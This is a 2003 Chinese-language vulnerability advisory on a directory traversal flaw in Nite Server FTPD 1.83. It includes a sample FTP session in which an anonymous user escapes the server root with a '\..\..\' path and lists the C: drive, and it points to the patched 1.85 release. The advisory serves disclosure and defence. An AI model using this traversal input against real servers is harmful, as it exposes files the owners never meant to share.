安全研究
安全漏洞
Nite Server FTPD远程目录遍历漏洞
发布日期:2003-01-20
更新日期:2003-01-25
受影响系统:
Thomas Krebs Nite Server 1.83不受影响系统:
Thomas Krebs Nite Server 1.85描述:
BUGTRAQ ID: 6648
NiteServer是一款简单的免费FTP服务程序。
NiteServer存在目录遍历问题,远程攻击者可以利用这个漏洞以ftp进程权限在系统上查看任意文件信息。
NiteServer没有正确过滤命令请求中包含的'\..'字串,可以使远程攻击者突破目录限制,以ftp进程权限访问系统任意文件。
<*来源:Dennis Rand (DER@cowi.dk)
链接:http://www.securiteam.com/windowsntfocus/5KP0B2A8VC.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Connected to 192.168.1.22.
220- Niteserver Version:1.83
220- Author:Thomas Krebs
220- email: turtie@knuut.de
220- Welcome to the Niteserver
220- First Author:Thomas Krebs!
220-
220
User (192.168.1.22:(none)): anonymous
331 User anonymous accepted, send password.....
Password:
230 User anonymous accepted, ok come on.....
ftp> ls
200 PORT command ok....
257 "c:/ftpd/data" is working directory...c:\ftpd\data
ftp> cd /
250 Directory changed to"c:\ftpd\data" .
ftp> cd ..
250 Directory changed to"c:\ftpd\data" .
ftp> cd \..\..\
250 Directory changed to"c:\" .
ftp> ls
200 PORT command ok....
257 "c:/" is working directory...c:\
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 AUTOEXEC.BAT
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 CONFIG.SYS
drwxr-xr-x 1 User Group 0 Dec 23 12:25 I386
drwxr-xr-x 1 User Group 0 Dec 23 22:22 Inetpub
drwxr-xr-x 1 User Group 0 Dec 23 21:49 Installationsfiler
til Windows Update
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 IO.SYS
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 MSDOS.SYS
drwxr-xr-x 1 User Group 0 Dec 23 21:25 Multimedia Files
-rwxr-xr-x 1 User Group 26816 Dec 23 22:30 NTDETECT.COM
-rwxr-xr-x 1 User Group 156496 Dec 23 22:30 ntldr
drwxr-xr-x 1 User Group 0 Dec 23 12:36 OptionPack
-rwxr-xr-x 1 User Group 134217728 Dec 30 15:24 pagefile.sys
drwxr-xr-x 1 User Group 0 Dec 30 15:19 Program Files
drwxr-xr-x 1 User Group 0 Dec 23 12:24 RECYCLER
drwxr-xr-x 1 User Group 0 Dec 24 00:08 TEMP
drwxr-xr-x 1 User Group 0 Dec 30 16:30 WINNT
226 Listing complete.
ftp: 1181 bytes received in 0,12Seconds 9,76Kbytes/sec.
ftp> bye
221 Goodbye.
建议:
厂商补丁:
Thomas Krebs
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载升级到Nite Server 1.85版本::
http://home.knuut.de/Turtie/index.htm
浏览次数:3730
严重程度:0(网友投票)
绿盟科技给您安全的保障